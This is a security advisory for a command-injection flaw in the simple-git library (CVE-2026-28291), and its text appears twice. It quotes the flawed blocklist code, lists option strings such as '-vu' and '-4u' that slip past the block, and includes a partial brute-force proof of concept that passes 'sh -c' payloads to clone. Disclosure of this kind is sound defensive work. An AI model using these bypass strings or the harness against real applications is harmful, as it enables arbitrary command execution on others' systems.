CVE-2026-28291

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

Summary

simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.

Detail

This vulnerability was introduced by an incorrect patch for CVE-2022-25860.

It was reproduced in the following environment:

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

The issue was not reproduced on Windows 11.

The -u option, like --upload-pack, allows a command to be executed.

Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.

function preventUploadPack(arg: string, method: string) {
   if (/^\s*--(upload|receive)-pack/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'clone' && /^\s*-u\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of clone with option -u is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'push' && /^\s*--exec\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of push with option --exec is not permitted without enabling allowUnsafePack`
      );
   }
}

However, the problem is that command option parsing is quite flexible.

By brute forcing, I found various options that bypass the -u check.

[
  '--u', '--u',
  '-4u', '-6u',
  '-lu', '-nu',
  '-qu', '-su',
  '-vu'
]

All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.

The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.

Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.

Just in case, I’ll share the brute-force code I used to find options that enable command execution.

const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
    if (fs.existsSync(TMP_DIR)) {
        fs.rmSync(TMP_DIR, { recursive: true, force: true });
    }
    fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
    const found = [];
    for (let i = 0; i < ITER; i++) {
        const fname1 = `${TMP_DIR}1_${i}`;
        const fname2 = `${TMP_DIR}2_${i}`;
        const fname3 = `${TMP_DIR}3_${i}`;
        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
    }
    return found;
}

async function runTest(runIdx) {
    const git = simpleGit();
    // 1. `${~}-u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c…

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

Summary

simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.

Detail

This vulnerability was introduced by an incorrect patch for CVE-2022-25860.

It was reproduced in the following environment:

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

The issue was not reproduced on Windows 11.

The -u option, like --upload-pack, allows a command to be executed.

Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.

function preventUploadPack(arg: string, method: string) {
   if (/^\s*--(upload|receive)-pack/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'clone' && /^\s*-u\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of clone with option -u is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'push' && /^\s*--exec\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of push with option --exec is not permitted without enabling allowUnsafePack`
      );
   }
}

However, the problem is that command option parsing is quite flexible.

By brute forcing, I found various options that bypass the -u check.

[
  '--u', '--u',
  '-4u', '-6u',
  '-lu', '-nu',
  '-qu', '-su',
  '-vu'
]

All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.

The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.

Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.

Just in case, I’ll share the brute-force code I used to find options that enable command execution.

const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
    if (fs.existsSync(TMP_DIR)) {
        fs.rmSync(TMP_DIR, { recursive: true, force: true });
    }
    fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
    const found = [];
    for (let i = 0; i < ITER; i++) {
        const fname1 = `${TMP_DIR}1_${i}`;
        const fname2 = `${TMP_DIR}2_${i}`;
        const fname3 = `${TMP_DIR}3_${i}`;
        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
    }
    return found;
}

async function runTest(runIdx) {
    const git = simpleGit();
    // 1. `${~}-u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c…